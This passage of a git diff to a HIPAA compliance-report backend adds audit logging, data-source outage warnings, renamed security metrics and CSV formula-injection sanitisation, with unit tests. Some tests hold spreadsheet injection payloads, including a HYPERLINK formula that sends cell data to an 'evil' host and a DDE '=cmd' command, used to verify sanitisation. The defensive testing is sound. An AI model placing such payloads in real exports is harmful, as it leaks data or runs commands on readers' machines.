event loop via run_in_executor, the same pattern @@ -108,6 +146,10 @@ async def hipaa_report_pdf( loop = asyncio.get_event_loop() pdf_bytes = await loop.run_in_executor(None, pdf.render_report_pdf, context) + audit_log.log_report_access( + actor=generated_by, organization_id=org_id, from_date=from_date, to_date=to_date, report_format="pdf", + ) + filename = f"{_filename_stem(org_id, from_date, to_date)}.pdf" return Response( content=pdf_bytes, @@ -125,14 +167,18 @@ async def hipaa_report_csv( admin: dict = Depends(_require_platform_admin), ) -> Response: _validate_range(from_date, to_date) - context = await _build_cached_report( - org_id=org_id, from_date=from_date, to_date=to_date, - generated_by=_generated_by(admin), authorization=authorization, + generated_by = _generated_by(admin) + context = await _build_report( + org_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization, generated_by=generated_by, ) # Cheap (plain string formatting, no layout engine) unlike the PDF # route above -- no run_in_executor needed here. csv_text = csv_export.render_report_csv(context) + audit_log.log_report_access( + actor=generated_by, organization_id=org_id, from_date=from_date, to_date=to_date, report_format="csv", + ) + filename = f"{_filename_stem(org_id, from_date, to_date)}.csv" return Response( content=csv_text, diff --git a/backend/src/control_center/compliance/service.py b/backend/src/control_center/compliance/service.py index 7638665b..3a08a9d4 100644 --- a/backend/src/control_center/compliance/service.py +++ b/backend/src/control_center/compliance/service.py @@ -20,8 +20,15 @@ rows for every org; not filtering would leak every other org's login activity into a report scoped to one org. Resolved here by fetching login events platform-wide, then filtering to this org's own roster - (`auth_client.get_org_members`) client-side -- accurate, no new - endpoints, no new instrumentation. + (`auth_client.get_org_members`) client-side -- accurate for a user + whose org membership hasn't changed near the report boundary; a user + who joined/left around the edges of the requested period can be + mis-included/excluded, since the roster is fetched as of "now", not + as of the report period. This is a real, documented limitation (not + fixed here -- it needs the org-scoped login architecture v0.9 is + scoped to deliver), see test_multi_org_user_login_appears_in_every_ + member_org's_report in test_compliance_service.py for what this looks + like in practice. 2. The generic cross-service audit ledger (omnibioai-security-audit's `audit_events` table, `decision=="deny"` for 403s) has no `organization_id` column at all (confirmed reading @@ -35,10 +42,36 @@ the only per-org-accurate "access denied" signal available today, so Section 4's "permission denied" row reflects that specifically, not a generic 403 count. + +Pre-merge security review fixes (2026-08-12): + +- `sources_unavailable`: every auth_client/billing_client call now + reports whether it actually succeeded, not just how much data it + returned. A downstream outage is recorded by name in + `sources_unavailable` rather than silently rendering as "this org had + zero users/events" -- see auth_client.py's own docstring for the + status vocabulary this consumes. +- `OrganizationNotFoundError`: get_organization's "not_found" status + (a real 404 from omnibioai-auth, not a network failure) now raises + here instead of silently falling back to a placeholder label -- + router.py converts this to a real HTTP 404. +- generated_by/generated_at are NO LONGER part of this function's + return value or the cached payload -- router.py stamps them fresh on + every response, cached or not, so a cache hit can never attribute the + report to whichever admin happened to trigger the original cache-miss + computation. See router.py's own comment at the call site. +- `security_incidents` (a name implying a legal/HIPAA reportable + determination this report never makes) is replaced by two separate, + more honestly-named counters: `failed_login_attempts` (routine, + expected operational noise) and `security_events_requiring_review` + (role_assignment_denied/mfa_verification_failed specifically -- see + _INCIDENT_EVENT_TYPES). The Section 4 events table itself is + unchanged -- both kinds of event still appear there, only the Section + 1 summary terminology changed. """ from __future__ import annotations -from datetime import date, datetime, time, timezone +from datetime import date, datetime, time from typing import Any, Optional from control_center.compliance import auth_client, billing_client @@ -63,24 +96,33 @@ "mfa_reset_by_admin", "mfa_verification_failed", } -# Event types whose mere occurrence is a security-relevant "incident" for -# Section 1's summary count -- denials/failures, not every role change -# (an admin routinely assigning a role isn't an incident; a rejected -# privilege-escalation attempt or a failed MFA check is). +# Event types whose mere occurrence belongs in Section 1's +# security_events_requiring_review count -- denials/failures, not every +# role change (an admin routinely assigning a role isn't something that +# needs review; a rejected privilege-escalation attempt or a failed MFA +# check is). Deliberately excludes login_failure -- that has its own, +# separately-named counter (failed_login_attempts) precisely because a +# mistyped password is not the same kind of thing as a rejected +# escalation attempt, and conflating them under one "incidents" number +# was the exact problem this rename fixes. _INCIDENT_EVENT_TYPES = {"role_assignment_denied", "mfa_verification_failed"} -def _humanize_event_type(event_type: str) -> str: - return event_type.replace("_", " ").title() +class OrganizationNotFoundError(Exception): + """Raised when omnibioai-auth confirms (a real 404, not a network + failure -- see auth_client.get_organization's own docstring) that + `organization_id` doesn't exist. router.py converts this to an HTTP + 404; every other failure mode degrades to a "some data unavailable" + warning instead, since this is the one case where the report itself + cannot mean anything at all.""" + def __init__(self, organization_id: int): + super().__init__(f"Organization {organization_id} not found") + self.organization_id = organization_id -def _parse_iso(value: Optional[str]) -> Optional[datetime]: - if not value: - return None - try: - return datetime.fromisoformat(value.replace("Z", "+00:00")) - except ValueError: - return None + +def _humanize_event_type(event_type: str) -> str: + return event_type.replace("_", " ").title() def _is_org_member(event: dict, member_by_id: dict, member_by_email: dict) -> bool: @@ -91,7 +133,7 @@ def _is_org_member(event: dict, member_by_id: dict, member_by_email: dict) -> bo return email is not None and email in member_by_email -def _build_user_access(login_success: list[dict], login_failure: list[dict], member_by_id: dict) -> list[dict]: +def _build_user_access(login_success: list[dict], login_failure: list[dict]) -> list[dict]: """One row per org member with any login activity in the period -- login_count/last_login from login_success, failed_attempts from login_failure, grouped by email (metadata.email is always set on both @@ -164,48 +206,75 @@ async def build_report( organization_id: int, from_date: date, to_date: date, - generated_by: str, authorization: Optional[str], ) -> dict[str, Any]: + """Returns the cacheable report body -- everything EXCEPT + generated_by/generated_at, which router.py stamps fresh on every + response (cached or not) so a cache hit is never attributed to the + wrong administrator. See this module's own docstring, "Pre-merge + security review fixes", for why that split exists. + """ start_dt = datetime.combine(from_date, time.min) end_dt = datetime.combine(to_date, time.max) - org = await auth_client.get_organization(organization_id, authorization) - members = await auth_client.get_org_members(organization_id, authorization) + org, org_status = await auth_client.get_organization(organization_id, authorization) + if org_status == "not_found": + raise OrganizationNotFoundError(organization_id) + + members, members_status = await auth_client.get_org_members(organization_id, authorization) member_by_id = {m["user_id"]: m for m in members} member_by_email = {m["email"]: m for m in members} - login_success_events, trunc_success = await auth_client.list_all_audit_events( + login_success_events, trunc_success, unavail_success = await auth_client.list_all_audit_events( organization_id=None, start_date=start_dt, end_date=end_dt, event_type="login_success", authorization=authorization, ) - login_failure_events, trunc_failure = await auth_client.list_all_audit_events( + login_failure_events, trunc_failure, unavail_failure = await auth_client.list_all_audit_events( organization_id=None, start_date=start_dt, end_date=end_dt, event_type="login_failure", authorization=authorization, ) - org_scoped_events, trunc_org = await auth_client.list_all_audit_events( + org_scoped_events, trunc_org, unavail_org = await auth_client.list_all_audit_events( organization_id=organization_id, start_date=start_dt, end_date=end_dt, authorization=authorization, ) - rag_events, trunc_rag = await billing_client.list_all_usage_events( + rag_events, trunc_rag, unavail_rag = await billing_client.list_all_usage_events( organization_id=organization_id, start_date=from_date, end_date=to_date, resource="rag.query", authorization=authorization, ) + # Human-readable, self-contained strings -- these are consumed + # as-is by the JSON response, the PDF template, and the CSV export, + # so the label is decided exactly once, here, rather than needing an + # internal-key-to-label mapping duplicated in three render layers. + sources_unavailable: list[str] = [] + if org_status == "unavailable": + sources_unavailable.append("Organization details (omnibioai-auth)") + if members_status != "ok": + sources_unavailable.append("Organization members (omnibioai-auth)") + if unavail_success: + sources_unavailable.append("Login success events (omnibioai-auth)") + if unavail_failure: + sources_unavailable.append("Login failure events (omnibioai-auth)") + if unavail_org: + sources_unavailable.append("Role/permission/security events (omnibioai-auth)") + if unavail_rag: + sources_unavailable.append("RAG query events (omnibioai-billing)") + org_login_success = [e for e in login_success_events if _is_org_member(e, member_by_id, member_by_email)] org_login_failure = [e for e in login_failure_events if _is_org_member(e, member_by_id, member_by_email)] - user_access = _build_user_access(org_login_success, org_login_failure, member_by_id) + user_access = _build_user_access(org_login_success, org_login_failure) rag_queries = _build_rag_queries(rag_events, member_by_id) security_events = _build_security_events(org_login_failure, org_scoped_events) - incident_count = sum(1 for r in security_events if r["outcome"] in ("deny", "failure")) + security_events_requiring_review = sum(1 for r in security_events if r["outcome"] == "deny") summary = { "total_users": len(members), "active_users": sum(1 for r in user_access if r["login_count"] > 0), "total_rag_queries": len(rag_queries), - "security_incidents": incident_count, + "failed_login_attempts": len(org_login_failure), + "security_events_requiring_review": security_events_requiring_review, } return { @@ -213,11 +282,10 @@ async def build_report( "organization_name": (org or {}).get("name") or f"Organization #{organization_id}", "from_date": from_date.isoformat(), "to_date": to_date.isoformat(), - "generated_at": datetime.now(timezone.utc).isoformat(), - "generated_by": generated_by, "summary": summary, "user_access": user_access, "rag_queries": rag_queries, "security_events": security_events, "truncated": trunc_success or trunc_failure or trunc_org or trunc_rag, + "sources_unavailable": sources_unavailable, } diff --git a/backend/src/control_center/compliance/templates/hipaa_report.html b/backend/src/control_center/compliance/templates/hipaa_report.html index 53a7527d..bcb52d69 100644 --- a/backend/src/control_center/compliance/templates/hipaa_report.html +++ b/backend/src/control_center/compliance/templates/hipaa_report.html @@ -104,6 +104,12 @@ font-size: 9px; color: #92400e; background: #fffbeb; border: 1px solid #fde68a; border-radius: 6px; padding: 6px 10px; margin-top: 6px; } + .unavailable-warning { + font-size: 9.5px; color: #991b1b; background: #fef2f2; border: 1px solid #fecaca; + border-radius: 6px; padding: 8px 12px; margin-bottom: 18px; + } + .unavailable-warning strong { display: block; margin-bottom: 3px; } + .unavailable-warning ul { margin: 4px 0 0 16px; padding: 0; } .badge { display: inline-block; font-size: 8px; font-weight: 700; padding: 2px 7px; border-radius: 99px; text-transform: uppercase; @@ -136,6 +142,18 @@ + {% if sources_unavailable %} +
+ Report may be incomplete -- one or more data sources were unavailable during generation: +
    + {% for source in sources_unavailable %} +
  • {{ source }}
  • + {% endfor %} +
+ Figures below reflect only the sources that responded successfully -- they are not a confirmed "zero activity" for the unavailable sources. +
+ {% endif %} +
1Executive Summary
@@ -152,9 +170,13 @@
{{ summary.total_rag_queries }}
RAG Queries
-
-
{{ summary.security_incidents }}
-
Security Incidents
+ +
+
{{ summary.security_events_requiring_review }}
+
Security Events Requiring Review
diff --git a/backend/tests/test_compliance_audit_log.py b/backend/tests/test_compliance_audit_log.py new file mode 100644 index 00000000..366bb187 --- /dev/null +++ b/backend/tests/test_compliance_audit_log.py @@ -0,0 +1,80 @@ +"""Unit tests for control_center.compliance.audit_log -- the "record that +a platform_admin generated/downloaded a HIPAA compliance report" writer. +Mocks the module's own `_redis` client directly (same style +test_analytics_cache.py uses for analytics/cache.py's `_redis`), not a +FakeRedis, since the only thing exercised here is "was xadd called with +the right stream/payload", not real Streams semantics. +""" +from __future__ import annotations + +import json +from datetime import date +from unittest.mock import MagicMock, patch + +from control_center.compliance import audit_log + + +def test_log_report_access_writes_to_the_audit_events_stream() -> None: + fake_redis = MagicMock() + with patch.object(audit_log, "_redis", fake_redis): + audit_log.log_report_access( + actor="admin@omnibioai.org", organization_id=7, + from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), report_format="pdf", + ) + fake_redis.xadd.assert_called_once() + args, kwargs = fake_redis.xadd.call_args + assert args[0] == "audit:events" + assert kwargs["maxlen"] == audit_log.MAX_STREAM_LENGTH + assert kwargs["approximate"] is True + + +def test_log_report_access_payload_matches_auditevent_shape() -> None: + """Field-for-field match with omnibioai-security-audit's own + AuditEvent pydantic model (audit/models.py) -- so if that service's + consumer ever processes this stream, this event persists as a normal + AuditEventRecord row through existing infrastructure, no changes + needed on that side.""" + fake_redis = MagicMock() + with patch.object(audit_log, "_redis", fake_redis): + audit_log.log_report_access( + actor="admin@omnibioai.org", organization_id=7, + from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), report_format="csv", + ) + args, _ = fake_redis.xadd.call_args + payload = json.loads(args[1]["data"]) + + for field in ("event_id", "timestamp", "service", "event_type", "user_id", "action", "resource", "decision", "reason", "trace_id", "context"): + assert field in payload + + assert payload["service"] == "control-center" + assert payload["event_type"] == "compliance_report_accessed" + assert payload["user_id"] == "admin@omnibioai.org" + assert payload["decision"] == "success" + assert payload["resource"] == "organization:7" + assert payload["context"] == { + "organization_id": 7, "from_date": "2026-08-01", "to_date": "2026-08-31", "format": "csv", + } + + +def test_log_report_access_generates_a_distinct_event_id_per_call() -> None: + fake_redis = MagicMock() + with patch.object(audit_log, "_redis", fake_redis): + audit_log.log_report_access(actor="a@x.org", organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 1), report_format="json") + audit_log.log_report_access(actor="a@x.org", organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 1), report_format="json") + first_payload = json.loads(fake_redis.xadd.call_args_list[0][0][1]["data"]) + second_payload = json.loads(fake_redis.xadd.call_args_list[1][0][1]["data"]) + assert first_payload["event_id"] != second_payload["event_id"] + + +def test_log_report_access_never_raises_on_redis_failure() -> None: + """Best-effort, fire-and-forget -- an audit-logging failure must + never break the report response that already succeeded, matching + every other audit-write call site's own documented convention + (AuditLogger.log(), audit_service.log_event).""" + fake_redis = MagicMock() + fake_redis.xadd.side_effect = ConnectionError("redis unreachable") + with patch.object(audit_log, "_redis", fake_redis): + audit_log.log_report_access( + actor="admin@omnibioai.org", organization_id=1, + from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), report_format="json", + ) # must not raise diff --git a/backend/tests/test_compliance_auth_client.py b/backend/tests/test_compliance_auth_client.py index 3555e19e..ec380117 100644 --- a/backend/tests/test_compliance_auth_client.py +++ b/backend/tests/test_compliance_auth_client.py @@ -33,59 +33,88 @@ def _mock_client(*responses: MagicMock): class GetOrganizationTestCase(unittest.IsolatedAsyncioTestCase): - async def test_returns_body_on_success(self) -> None: + async def test_returns_body_and_ok_on_success(self) -> None: ctx, _ = _mock_client(_resp(200, {"id": 1, "name": "KUMC Research"})) with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): - body = await auth_client.get_organization(1, "Bearer tok") + body, status = await auth_client.get_organization(1, "Bearer tok") self.assertEqual(body["name"], "KUMC Research") + self.assertEqual(status, "ok") - async def test_none_on_404(self) -> None: + # Pre-merge review fix: a confirmed 404 (org genuinely doesn't exist) + # must be distinguishable from a network/5xx failure -- they mean + # very different things to a compliance report. Exercised by the two + # tests immediately below. + + async def test_404_returns_not_found_status(self) -> None: ctx, _ = _mock_client(_resp(404)) with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): - body = await auth_client.get_organization(1, "Bearer tok") + body, status = await auth_client.get_organization(1, "Bearer tok") + self.assertIsNone(body) + self.assertEqual(status, "not_found") + + async def test_500_returns_unavailable_status(self) -> None: + ctx, _ = _mock_client(_resp(500)) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + body, status = await auth_client.get_organization(1, "Bearer tok") self.assertIsNone(body) + self.assertEqual(status, "unavailable") - async def test_none_on_unreachable(self) -> None: + async def test_unreachable_returns_unavailable_status(self) -> None: mock_client = MagicMock() mock_client.get = AsyncMock(side_effect=httpx.ConnectError("refused")) mock_ctx = MagicMock() mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) mock_ctx.__aexit__ = AsyncMock(return_value=False) with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=mock_ctx): - body = await auth_client.get_organization(1, "Bearer tok") + body, status = await auth_client.get_organization(1, "Bearer tok") self.assertIsNone(body) + self.assertEqual(status, "unavailable") class GetOrgMembersTestCase(unittest.IsolatedAsyncioTestCase): - async def test_returns_member_list(self) -> None: + async def test_returns_member_list_and_ok(self) -> None: ctx, _ = _mock_client(_resp(200, [{"user_id": 1, "email": "a@kumc.edu", "status": "active", "roles": ["member"]}])) with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): - members = await auth_client.get_org_members(1, "Bearer tok") + members, status = await auth_client.get_org_members(1, "Bearer tok") self.assertEqual(members[0]["email"], "a@kumc.edu") + self.assertEqual(status, "ok") - async def test_empty_list_on_failure(self) -> None: + async def test_empty_list_and_not_found_on_404(self) -> None: + ctx, _ = _mock_client(_resp(404)) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + members, status = await auth_client.get_org_members(1, "Bearer tok") + self.assertEqual(members, []) + self.assertEqual(status, "not_found") + + async def test_empty_list_and_unavailable_on_failure(self) -> None: ctx, _ = _mock_client(_resp(403)) with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): - members = await auth_client.get_org_members(1, "Bearer tok") + members, status = await auth_client.get_org_members(1, "Bearer tok") self.assertEqual(members, []) + self.assertEqual(status, "unavailable") - async def test_non_list_body_returns_empty_list(self) -> None: + async def test_non_list_body_returns_unavailable(self) -> None: + # A malformed/unexpected 200 body must not be silently treated as + # "zero members" -- that's indistinguishable from a real empty + # org otherwise. ctx, _ = _mock_client(_resp(200, {"unexpected": "shape"})) with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): - members = await auth_client.get_org_members(1, "Bearer tok") + members, status = await auth_client.get_org_members(1, "Bearer tok") self.assertEqual(members, []) + self.assertEqual(status, "unavailable") class ListAllAuditEventsTestCase(unittest.IsolatedAsyncioTestCase): async def test_single_page_stops_after_total_pages(self) -> None: ctx, mock_client = _mock_client(_resp(200, {"items": [{"id": 1}], "total_pages": 1})) with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): - items, truncated = await auth_client.list_all_audit_events( + items, truncated, unavailable = await auth_client.list_all_audit_events( organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), authorization="Bearer tok", ) self.assertEqual(len(items), 1) self.assertFalse(truncated) + self.assertFalse(unavailable) self.assertEqual(mock_client.get.call_count, 1) async def test_follows_pagination_across_multiple_pages(self) -> None: @@ -94,12 +123,13 @@ async def test_follows_pagination_across_multiple_pages(self) -> None: _resp(200, {"items": [{"id": 2}], "total_pages": 2}), ) with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): - items, truncated = await auth_client.list_all_audit_events( + items, truncated, unavailable = await auth_client.list_all_audit_events( organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), authorization="Bearer tok", ) self.assertEqual([i["id"] for i in items], [1, 2]) self.assertFalse(truncated) + self.assertFalse(unavailable) async def test_organization_id_none_omits_param(self) -> None: ctx, mock_client = _mock_client(_resp(200, {"items": [], "total_pages": 0})) @@ -121,19 +151,51 @@ async def test_event_type_filter_is_forwarded(self) -> None: _, kwargs = mock_client.get.call_args self.assertEqual(kwargs["params"]["event_type"], "login_success") - async def test_unreachable_returns_empty_not_truncated(self) -> None: + async def test_unreachable_returns_unavailable_true_not_truncated(self) -> None: mock_client = MagicMock() mock_client.get = AsyncMock(side_effect=httpx.ConnectError("refused")) mock_ctx = MagicMock() mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) mock_ctx.__aexit__ = AsyncMock(return_value=False) with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=mock_ctx): - items, truncated = await auth_client.list_all_audit_events( + items, truncated, unavailable = await auth_client.list_all_audit_events( organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), authorization="Bearer tok", ) self.assertEqual(items, []) self.assertFalse(truncated) + self.assertTrue(unavailable) + + async def test_failure_mid_pagination_keeps_earlier_pages_but_flags_unavailable(self) -> None: + ctx, mock_client = _mock_client( + _resp(200, {"items": [{"id": 1}], "total_pages": 3}), + _resp(500), + ) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + items, truncated, unavailable = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + # Page 1's item is real data, kept -- but the caller must not treat + # this as a complete, reliable result. + self.assertEqual([i["id"] for i in items], [1]) + self.assertFalse(truncated) + self.assertTrue(unavailable) + + async def test_pagination_cap_boundary_sets_truncated_and_stops_fetching(self) -> None: + # Exactly _MAX_PAGES (100) pages, each claiming more pages exist + # than the cap allows -- the 101st page must never be requested. + responses = [_resp(200, {"items": [{"id": i}], "total_pages": 200}) for i in range(100)] + ctx, mock_client = _mock_client(*responses) + with patch("control_center.compliance.auth_client.httpx.AsyncClient", return_value=ctx): + items, truncated, unavailable = await auth_client.list_all_audit_events( + organization_id=1, start_date=datetime(2026, 8, 1), end_date=datetime(2026, 8, 31), + authorization="Bearer tok", + ) + self.assertEqual(len(items), 100) + self.assertTrue(truncated) + self.assertFalse(unavailable) + self.assertEqual(mock_client.get.call_count, 100) if __name__ == "__main__": diff --git a/backend/tests/test_compliance_billing_client.py b/backend/tests/test_compliance_billing_client.py index 925c1b3d..101ab033 100644 --- a/backend/tests/test_compliance_billing_client.py +++ b/backend/tests/test_compliance_billing_client.py @@ -33,11 +33,12 @@ class ListAllUsageEventsTestCase(unittest.IsolatedAsyncioTestCase): async def test_single_page_stops_when_offset_reaches_total(self) -> None: ctx, mock_client = _mock_client(_resp(200, {"events": [{"event_id": "a"}], "total_count": 1})) with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): - events, truncated = await billing_client.list_all_usage_events( + events, truncated, unavailable = await billing_client.list_all_usage_events( organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", ) self.assertEqual(len(events), 1) self.assertFalse(truncated) + self.assertFalse(unavailable) self.assertEqual(mock_client.get.call_count, 1) async def test_follows_pagination_via_offset(self) -> None: @@ -46,11 +47,12 @@ async def test_follows_pagination_via_offset(self) -> None: _resp(200, {"events": [{"event_id": "b"}], "total_count": 2}), ) with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): - events, truncated = await billing_client.list_all_usage_events( + events, truncated, unavailable = await billing_client.list_all_usage_events( organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", ) self.assertEqual([e["event_id"] for e in events], ["a", "b"]) self.assertFalse(truncated) + self.assertFalse(unavailable) async def test_resource_filter_is_forwarded(self) -> None: ctx, mock_client = _mock_client(_resp(200, {"events": [], "total_count": 0})) @@ -62,27 +64,57 @@ async def test_resource_filter_is_forwarded(self) -> None: _, kwargs = mock_client.get.call_args self.assertEqual(kwargs["params"]["resource"], "rag.query") - async def test_unreachable_returns_empty_not_truncated(self) -> None: + async def test_unreachable_returns_unavailable_true_not_truncated(self) -> None: mock_client = MagicMock() mock_client.get = AsyncMock(side_effect=httpx.ConnectError("refused")) mock_ctx = MagicMock() mock_ctx.__aenter__ = AsyncMock(return_value=mock_client) mock_ctx.__aexit__ = AsyncMock(return_value=False) with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=mock_ctx): - events, truncated = await billing_client.list_all_usage_events( + events, truncated, unavailable = await billing_client.list_all_usage_events( organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", ) self.assertEqual(events, []) self.assertFalse(truncated) + self.assertTrue(unavailable) - async def test_non_200_stops_and_returns_partial(self) -> None: + async def test_non_200_stops_and_returns_partial_flagged_unavailable(self) -> None: ctx, _ = _mock_client(_resp(500)) with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): - events, truncated = await billing_client.list_all_usage_events( + events, truncated, unavailable = await billing_client.list_all_usage_events( organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", ) self.assertEqual(events, []) self.assertFalse(truncated) + self.assertTrue(unavailable) + + async def test_failure_mid_pagination_keeps_earlier_pages_but_flags_unavailable(self) -> None: + ctx, mock_client = _mock_client( + _resp(200, {"events": [{"event_id": "a"}], "total_count": 5}), + _resp(500), + ) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated, unavailable = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual([e["event_id"] for e in events], ["a"]) + self.assertFalse(truncated) + self.assertTrue(unavailable) + + async def test_pagination_cap_boundary_sets_truncated_and_stops_fetching(self) -> None: + # Exactly _MAX_PAGES (100) pages, total_count always claiming + # more remain than the cap allows -- page 101 must never be + # requested. + responses = [_resp(200, {"events": [{"event_id": f"e{i}"}], "total_count": 1_000_000}) for i in range(100)] + ctx, mock_client = _mock_client(*responses) + with patch("control_center.compliance.billing_client.httpx.AsyncClient", return_value=ctx): + events, truncated, unavailable = await billing_client.list_all_usage_events( + organization_id=1, start_date=date(2026, 8, 1), end_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(len(events), 100) + self.assertTrue(truncated) + self.assertFalse(unavailable) + self.assertEqual(mock_client.get.call_count, 100) if __name__ == "__main__": diff --git a/backend/tests/test_compliance_csv_export.py b/backend/tests/test_compliance_csv_export.py index dbe91b3c..d1fbd69c 100644 --- a/backend/tests/test_compliance_csv_export.py +++ b/backend/tests/test_compliance_csv_export.py @@ -2,7 +2,7 @@ import csv import io -from control_center.compliance.csv_export import render_report_csv +from control_center.compliance.csv_export import _sanitize_cell, render_report_csv _CONTEXT = { "organization_name": "KUMC Research", @@ -11,7 +11,7 @@ "to_date": "2026-08-31", "generated_at": "2026-08-11T12:00:00Z", "generated_by": "admin@omnibioai.org", - "summary": {"total_users": 2, "active_users": 1, "total_rag_queries": 1, "security_incidents": 1}, + "summary": {"total_users": 2, "active_users": 1, "total_rag_queries": 1, "failed_login_attempts": 1, "security_events_requiring_review": 1}, "user_access": [ {"user_label": "alice@kumc.edu", "login_count": 5, "last_login": "2026-08-20T10:00:00", "failed_attempts": 0}, ], @@ -21,6 +21,7 @@ "security_events": [ {"timestamp": "2026-08-13T10:00:00", "label": "Role Assignment Denied", "actor_label": "bob@kumc.edu", "outcome": "deny"}, ], + "sources_unavailable": [], } @@ -58,3 +59,93 @@ def test_missing_trace_id_renders_as_empty_string(): text = render_report_csv(context) rows = list(csv.reader(io.StringIO(text))) assert any(row == ["2026-08-10T09:00:00", "alice@kumc.edu", ""] for row in rows) + + +def test_summary_uses_renamed_metrics_not_security_incidents(): + text = render_report_csv(_CONTEXT) + assert "Failed Login Attempts" in text + assert "Security Events Requiring Review" in text + assert "Security Incidents" not in text + + +def test_sources_unavailable_warning_appears_when_present(): + context = {**_CONTEXT, "sources_unavailable": ["RAG query events (omnibioai-billing)"]} + text = render_report_csv(context) + assert "WARNING" in text + assert "RAG query events (omnibioai-billing)" in text + + +def test_sources_unavailable_warning_absent_when_empty(): + text = render_report_csv(_CONTEXT) + assert "WARNING" not in text + + +# ── Pre-merge security review regression: CSV / formula injection ────── + +def test_sanitize_cell_prefixes_equals_sign(): + assert _sanitize_cell("=HYPERLINK(\"http://evil\")") == "'=HYPERLINK(\"http://evil\")" + + +def test_sanitize_cell_prefixes_plus_sign(): + assert _sanitize_cell("+1+1") == "'+1+1" + + +def test_sanitize_cell_prefixes_minus_sign(): + assert _sanitize_cell("-1+1") == "'-1+1" + + +def test_sanitize_cell_prefixes_at_sign(): + assert _sanitize_cell("@SUM(1,2)") == "'@SUM(1,2)" + + +def test_sanitize_cell_leaves_safe_strings_unchanged(): + assert _sanitize_cell("alice@kumc.edu") == "alice@kumc.edu" + assert _sanitize_cell("KUMC Research") == "KUMC Research" + + +def test_sanitize_cell_leaves_non_strings_unchanged(): + assert _sanitize_cell(5) == 5 + assert _sanitize_cell(None) is None + + +def test_sanitize_cell_handles_empty_string(): + assert _sanitize_cell("") == "" + + +def test_malicious_organization_name_is_neutralized_in_csv_output(): + """The concrete, exploitable vector the pre-merge review flagged: + Organization.name has no character-class validation in + omnibioai-auth (app/schemas/orgs.py::OrganizationCreate.name is a + bare `str`), so any org member with create/rename permission can set + it to a formula payload. Opening the exported CSV in Excel/Sheets/ + LibreOffice must never execute it.""" + malicious_context = {**_CONTEXT, "organization_name": '=HYPERLINK("http://evil/?x="&A1,"Click me")'} + text = render_report_csv(malicious_context) + rows = list(csv.reader(io.StringIO(text))) + org_row = next(row for row in rows if row and row[0] == "Organization") + # Prefixed with a leading apostrophe -- spreadsheet apps render this + # as literal text (hiding the apostrophe itself), never as a live + # formula, the standard mitigation for this class of vulnerability. + assert org_row[1].startswith("'=HYPERLINK") + + +def test_malicious_user_label_is_neutralized_in_csv_output(): + malicious_context = { + **_CONTEXT, + "user_access": [{"user_label": "=cmd|'/c calc'!A0", "login_count": 1, "last_login": None, "failed_attempts": 0}], + } + text = render_report_csv(malicious_context) + rows = list(csv.reader(io.StringIO(text))) + user_row = next(row for row in rows if len(row) > 1 and row[1] == "1" and row[0].startswith("'")) + assert user_row[0] == "'=cmd|'/c calc'!A0" + + +def test_malicious_actor_label_in_security_events_is_neutralized(): + malicious_context = { + **_CONTEXT, + "security_events": [{"timestamp": "2026-08-13T10:00:00", "label": "Role Assigned", "actor_label": "+1+cmd", "outcome": "success"}], + } + text = render_report_csv(malicious_context) + rows = list(csv.reader(io.StringIO(text))) + event_row = next(row for row in rows if len(row) > 2 and row[1] == "Role Assigned") + assert event_row[2] == "'+1+cmd" diff --git a/backend/tests/test_compliance_pdf.py b/backend/tests/test_compliance_pdf.py index 6e61f7af..ec6af0da 100644 --- a/backend/tests/test_compliance_pdf.py +++ b/backend/tests/test_compliance_pdf.py @@ -15,7 +15,8 @@ "total_users": 12, "active_users": 7, "total_rag_queries": 340, - "security_incidents": 2, + "failed_login_attempts": 3, + "security_events_requiring_review": 1, }, "user_access": [ {"user_label": "alice@kumc.edu", "login_count": 14, "last_login": "2026-08-30T09:12:00Z", "failed_attempts": 0}, @@ -25,14 +26,16 @@ {"timestamp": "2026-08-30T09:15:00Z", "user_label": "alice@kumc.edu", "trace_id": "trace-abc123"}, ], "security_events": [ - {"timestamp": "2026-08-29T02:00:00Z", "label": "login_failure", "actor_label": "bob@kumc.edu", "outcome": "failure"}, - {"timestamp": "2026-08-30T09:00:00Z", "label": "login_success", "actor_label": "alice@kumc.edu", "outcome": "success"}, + {"timestamp": 